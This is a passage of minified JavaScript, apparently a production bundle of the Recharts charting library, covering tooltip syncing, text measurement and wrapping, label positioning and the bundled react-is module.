e.zIndexMap[n])},prepare:$e()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:$e()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:$e()}}}),{registerZIndexPortal:CR,unregisterZIndexPortal:PR,registerZIndexPortalElement:ER,unregisterZIndexPortalElement:AR}=kS.actions,_R=kS.reducer;function yi(e){var{zIndex:t,children:n}=e,r=TT(),i=r&&t!==void 0&&t!==0,a=Fn(),o=tt();p.useLayoutEffect(()=>i?(o(CR({zIndex:t})),()=>{o(PR({zIndex:t}))}):as,[o,t,i]);var l=xe(c=>gR(c,t,a));return i?l?lx.createPortal(n,l):null:n}function sh(){return sh=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(NS),SS={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!er(n))return e[n]}},FR={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},CS=Yt({name:"options",initialState:FR,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),WR=CS.reducer,{createEventEmitter:UR}=CS.actions;function VR(e){return e.tooltip.syncInteraction}var HR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},PS=Yt({name:"chartData",initialState:HR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:hb,setDataStartEndIndexes:KR,setComputedData:PV}=PS.actions,qR=PS.reducer,YR=["x","y"];function xb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function da(e){for(var t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return as;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=QR(h,YR),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=da(da({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(da(da({},d),{},{payload:da(da({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(L=>String(L.value)===d.payload.label));var{coordinate:O}=d.payload;if(S==null||d.payload.active===!1||O==null||o==null){n(ih({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:_,y:T}=O,P=Math.min(_,o.x+o.width),R=Math.min(T,o.y+o.height),V={x:a==="horizontal"?S.coordinate:P,y:a==="horizontal"?R:S.coordinate},$=ih({active:d.payload.active,coordinate:V,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n($)}}};return Ro.on(oh,c),()=>{Ro.off(oh,c)}},[l,n,t,e,r,i,a,o])}function t9(){var e=xe(h0),t=xe(x0),n=tt();p.useEffect(()=>{if(e==null)return as;var r=(i,a,o)=>{t!==o&&e===i&&n(KR(a))};return Ro.on(mb,r),()=>{Ro.off(mb,r)}},[n,t,e])}function n9(){var e=tt();p.useEffect(()=>{e(UR())},[e]),e9(),t9()}function r9(e,t,n,r,i,a){var o=xe(h=>dR(h,e,t)),l=xe(x0),c=xe(h0),u=xe(x4),d=xe(VR),f=d==null?void 0:d.active,m=Ed();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=ih({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Ro.emit(oh,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function gb(e){for(var t=1;t{N(sD({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var O=Ed(),_=uN(),T=eD(b),{activeIndex:P,isActive:R}=(t=xe(Y=>mR(Y,T,w,z)))!==null&&t!==void 0?t:{},V=xe(Y=>pR(Y,T,w,z)),$=xe(Y=>jS(Y,T,w,z)),L=xe(Y=>fR(Y,T,w,z)),W=V,B=RR(),U=(n=i??R)!==null&&n!==void 0?n:!1,[F,H]=UO([W,U]),G=T==="axis"?$:void 0;r9(T,w,L,G,P,U);var re=k??B;if(re==null||O==null||T==null)return null;var oe=W??yb;U||(oe=yb),u&&oe.length&&(oe=oO(oe.filter(Y=>Y.value!=null&&(Y.hide!==!0||r.includeHidden)),m,o9));var he=oe.length>0,pe=p.createElement(iM,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:U,coordinate:L,hasPayload:he,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:F,innerRef:H,hasPortalFromProps:!!k},l9(c,gb(gb({},r),{},{payload:oe,label:G,active:U,activeIndex:P,coordinate:L,accessibilityLayer:_})));return p.createElement(p.Fragment,null,lx.createPortal(pe,re),U&&p.createElement(DR,{cursor:v,tooltipEventType:T,coordinate:L,payload:oe,index:P}))}var Qd=e=>null;Qd.displayName="Cell";function u9(e,t,n){return(t=d9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function d9(e){var t=f9(e,"string");return typeof t=="symbol"?t:t+""}function f9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class p9{constructor(t){u9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function m9(e){for(var t=1;t{try{var n=document.getElementById(kb);n||(n=document.createElement("span"),n.setAttribute("id",kb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,y9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Sb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Td.isSsr)return{width:0,height:0};if(!ES.enableCache)return Nb(t,n);var r=b9(t,n),i=jb.get(r);if(i)return i;var a=Nb(t,n);return jb.set(r,a),a},AS;function w9(e,t,n){return(t=j9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function j9(e){var t=k9(e,"string");return typeof t=="symbol"?t:t+""}function k9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var zb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Cb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,N9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,S9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,z9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},C9=["cm","mm","pt","pc","in","Q","px"];function P9(e){return C9.includes(e)}var Ca="NaN";function E9(e,t){return e*z9[t]}class wt{static parse(t){var n,[,r,i]=(n=S9.exec(t))!==null&&n!==void 0?n:[];return r==null?wt.NaN:new wt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,er(t)&&(this.unit=""),n!==""&&!N9.test(n)&&(this.num=NaN,this.unit=""),P9(n)&&(this.num=E9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new wt(NaN,""):new wt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new wt(NaN,""):new wt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new wt(NaN,""):new wt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new wt(NaN,""):new wt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return er(this.num)}}AS=wt;w9(wt,"NaN",new AS(NaN,""));function _S(e){if(e==null||e.includes(Ca))return Ca;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=zb.exec(t))!==null&&n!==void 0?n:[],o=wt.parse(r??""),l=wt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Ca;t=t.replace(zb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=Cb.exec(t))!==null&&u!==void 0?u:[],h=wt.parse(d??""),x=wt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Ca;t=t.replace(Cb,g.toString())}return t}var Pb=/\(([^()]*)\)/;function A9(e){for(var t=e,n;(n=Pb.exec(t))!=null;){var[,r]=n;t=t.replace(Pb,_S(r))}return t}function _9(e){var t=e.replace(/\s+/g,"");return t=A9(t),t=_S(t),t}function O9(e){try{return _9(e)}catch{return Ca}}function lp(e){var t=O9(e.slice(5,-1));return t===Ca?"":t}var T9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],M9=["dx","dy","angle","className","breakAll"];function lh(){return lh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];St(t)||(n?i=t.toString().split(""):i=t.toString().split(OS));var a=i.map(l=>({word:l,width:Sb(l,r).width})),o=n?0:Sb(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function I9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var MS=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),D9="…",Ab=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=TS({breakAll:n,style:r,children:c+D9});if(!u)return[!1,[]];var d=MS(u.wordsWithComputedWidth,a,o,l),f=d.length>i||LS(d).width>Number(a);return[f,d]},R9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=fe(a),d=String(o),f=MS(t,r,n,i);if(!u||i)return f;var m=f.length>a||LS(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Ab(d,b,c,l,a,r,n,i),[k]=Ab(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},_b=e=>{var t=St(e)?[]:e.toString().split(OS);return[{words:t,width:void 0}]},$9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!Td.isSsr){var l,c,u=TS({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return _b(r);return R9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return _b(r)},IS="#808080",B9={angle:0,breakAll:!1,capHeight:"0.71em",fill:IS,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},Q0=p.forwardRef((e,t)=>{var n=cn(e,B9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Eb(n,T9),m=p.useMemo(()=>$9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Eb(f,M9);if(!br(r)||!br(i)||m.length===0)return null;var w=Number(r)+(fe(h)?h:0),j=Number(i)+(fe(x)?x:0);if(!je(w)||!je(j))return null;var k;switch(d){case"start":k=lp("calc(".concat(o,")"));break;case"middle":k=lp("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=lp("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:O}=f;S.push("scale(".concat(fe(O)&&fe(z)?O/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",lh({},Mt(b),{ref:t,x:w,y:j,className:qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?IS:l}),m.map((_,T)=>{var P=_.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:T===0?k:a,key:"".concat(P,"-").concat(T)},P)}))});Q0.displayName="Text";function Ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Bx(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(O.height=Math.max(N.y+N.height-(o+l),0),O.width=u),O}if(n==="left"){var _={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(_.width=Math.max(_.x-N.x,0),_.height=l),_}if(n==="right"){var T={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(T.width=Math.max(N.x+N.width-T.x,0),T.height=l),T}var P=N?{width:h,height:l}:{};return n==="insideLeft"?Hn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},P):n==="insideRight"?Hn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideTop"?Hn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?Hn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?Hn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},P):n==="insideTopRight"?Hn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideBottomLeft"?Hn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},P):n==="insideBottomRight"?Hn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n&&typeof n=="object"&&(fe(n.x)||Zi(n.x))&&(fe(n.y)||Zi(n.y))?Hn({x:a+nn(n.x,h),y:o+nn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):Hn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},H9=["labelRef"],K9=["content"];function Tb(e,t){if(e==null)return{};var n,r,i=q9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(Z9),t=Ed();return e||(t?Bx(t):void 0)},J9=p.createContext(null),e$=()=>{var e=p.useContext(J9),t=xe(j4);return e||t},t$=e=>{var{value:t,formatter:n}=e,r=St(e.children)?t:e.children;return typeof n=="function"?n(r):r},n$=e=>e!=null&&typeof e=="function",r$=(e,t)=>{var n=Ft(t-e),r=Math.min(Math.abs(t-e),360);return n*r},i$=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=r$(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=rt(l,c,x,v),j=rt(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, `).concat(j.x,",").concat(j.y),S=St(e.id)?So("recharts-radial-line-"):e.id;return p.createElement("text",zu({},r,{dominantBaseline:"central",className:qe("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},a$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=rt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=rt(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},fc=e=>e!=null&&"cx"in e&&fe(e.cx),s$={angle:0,offset:5,zIndex:Ut.label,position:"middle",textBreakAll:!1};function o$(e){if(!fc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function DS(e){var t=cn(e,s$),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=e$(),m=Q9(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:fc(n)?x=n:x=Bx(n);var v=o$(x);if(!x||St(a)&&St(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Wl(Wl({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Tb(b,H9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Tb(b,K9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=t$(t);var N=Mt(t);if(fc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return i$(t,i,g,N,x);y=a$(x,t.offset,t.position)}else{if(!v)return null;var z=V9({viewBox:v,position:i,offset:t.offset,parentViewBox:fc(r)?void 0:r});y=Wl(Wl({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(yi,{zIndex:t.zIndex},p.createElement(Q0,zu({ref:d,className:qe("recharts-label",c)},N,y,{textAnchor:I9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}DS.displayName="Label";var RS={},$S={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})($S);var BS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(BS);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$S,n=BS,r=dd;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(RS);var l$=RS.last;const c$=Cr(l$);var u$=["valueAccessor"],d$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Cu(){return Cu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?c$(e.value):e.value,FS=p.createContext(void 0),m$=FS.Provider,WS=p.createContext(void 0),h$=WS.Provider;function x$(){return p.useContext(FS)}function v$(){return p.useContext(WS)}function pc(e){var{valueAccessor:t=p$}=e,n=Lb(e,u$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=Lb(n,d$),u=x$(),d=v$(),f=u||d;return!f||!f.length?null:p.createElement(yi,{zIndex:l??Ut.label},p.createElement(qt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=St(r)?t(m,h):Re(m.payload,r),y=St(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(DS,Cu({key:"label-".concat(h)},Mt(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}pc.displayName="LabelList";function US(e){var{label:t}=e;return t?t===!0?p.createElement(pc,{key:"labelList-implicit"}):p.isValidElement(t)||n$(t)?p.createElement(pc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(pc,Cu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function ch(){return ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=qe("recharts-dot",i);return fe(t)&&fe(n)&&fe(r)?p.createElement("circle",ch({},yr(e),wx(e),{className:a,cx:t,cy:n,r})):null},HS=e=>e.graphicalItems.polarItems,g$=M([Ye,rl],k0),Jd=M([HS,Qe,g$],N0),y$=M([Jd],S0),ef=M([y$,Wd],z0),b$=M([ef,Qe,Jd],P0);M([ef,Qe,Jd],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Re(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Re(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Ib=()=>{},w$=M([ef,Qe,Jd,Yd,Ye],O0),j$=M([Qe,A0,_0,Ib,w$,Ib,_e,Ye],T0),KS=M([Qe,_e,ef,b$,nl,Ye,j$],M0),k$=M([KS,ds,gi],D0),N$=M([Qe,KS,k$,Ye],$0);M([gi,N$],N4);var S$={radiusAxis:{},angleAxis:{}},qS=Yt({name:"polarAxis",initialState:S$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:EV,removeRadiusAxis:AV,addAngleAxis:_V,removeAngleAxis:OV}=qS.actions,z$=qS.reducer;function C$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Rb(e){for(var t=1;tt,J0=M([HS,_$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),O$=[],ev=(e,t,n)=>(n==null?void 0:n.length)===0?O$:n,YS=M([Wd,J0,ev],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Rb(Rb({},t.presentationProps),a.props))),i!=null)return i}}),T$=M([YS,J0,ev],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Re(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:Nd(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),M$=M([YS,J0,ev,xt],(e,t,n,r)=>{if(!(t==null||e==null))return $B({offset:r,pieSettings:t,displayedData:e,cells:n})}),GS={exports:{}},Oe={};/** * @license React * react-is.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var tv=Symbol.for("react.transitional.element"),nv=Symbol.for("react.portal"),tf=Symbol.for("react.fragment"),nf=Symbol.for("react.strict_mode"),rf=Symbol.for("react.profiler"),af=Symbol.for("react.consumer"),sf=Symbol.for("react.context"),of=Symbol.for("react.forward_ref"),lf=Symbol.for("react.suspense"),cf=Symbol.for("react.suspense_list"),uf=Symbol.for("react.memo"),df=Symbol.for("react.lazy"),L$=Symbol.for("react.view_transition"),I$=Symbol.for("react.client.reference");function Sn(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case tv:switch(e=e.type,e){case tf:case rf:case nf:case lf:case cf:case L$:return e;default:switch(e=e&&e.$$typeof,e){case sf:case of:case df:case uf:return e;case af:return e;default:return t}}case nv:return t}}}Oe.ContextConsumer=af;Oe.ContextProvider=sf;Oe.Element=tv;Oe.ForwardRef=of;Oe.Fragment=tf;Oe.Lazy=df;Oe.Memo=uf;Oe.Portal=nv;Oe.Profiler=rf;Oe.StrictMode=nf;Oe.Suspense=lf;Oe.SuspenseList=cf;Oe.isContextConsumer=function(e){return Sn(e)===af};Oe.isContextProvider=function(e){return Sn(e)===sf};Oe.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===tv};Oe.isForwardRef=function(e){return Sn(e)===of};Oe.isFragment=function(e){return Sn(e)===tf};Oe.isLazy=function(e){return Sn(e)===df};Oe.isMemo=function(e){return Sn(e)===uf};Oe.isPortal=function(e){return Sn(e)===nv};Oe.isProfiler=function(e){return Sn(e)===rf};Oe.isStrictMode=function(e){return Sn(e)===nf};Oe.isSuspense=function(e){return Sn(e)===lf};Oe.isSuspenseList=function(e){return Sn(e)===cf};Oe.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===tf||e===rf||e===nf||e===lf||e===cf||typeof e=="object"&&e!==null&&(e.$$typeof===df||e.$$typeof===uf||e.$$typeof===sf||e.$$typeof===af||e.$$typeof===of||e.$$typeof===I$||e.getModuleId!==void 0)};Oe.typeOf=Sn;GS.exports=Oe;var D$=GS.exports,$b=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",Bb=null,cp=null,XS=e=>{if(e===Bb&&Array.isArray(cp))return cp;var t=[];return p.Children.forEach(e,n=>{St(n)||(D$.isFragment(n)?t=t.concat(XS(n.props.children)):t.push(n))}),cp=t,Bb=e,t};function ZS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>$b(i)):r=[$b(t)],XS(e).forEach(i=>{var a=No(i,"type.displayName")||No(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var QS=e=>e&&typeof e=="object"&&"clipDot"in 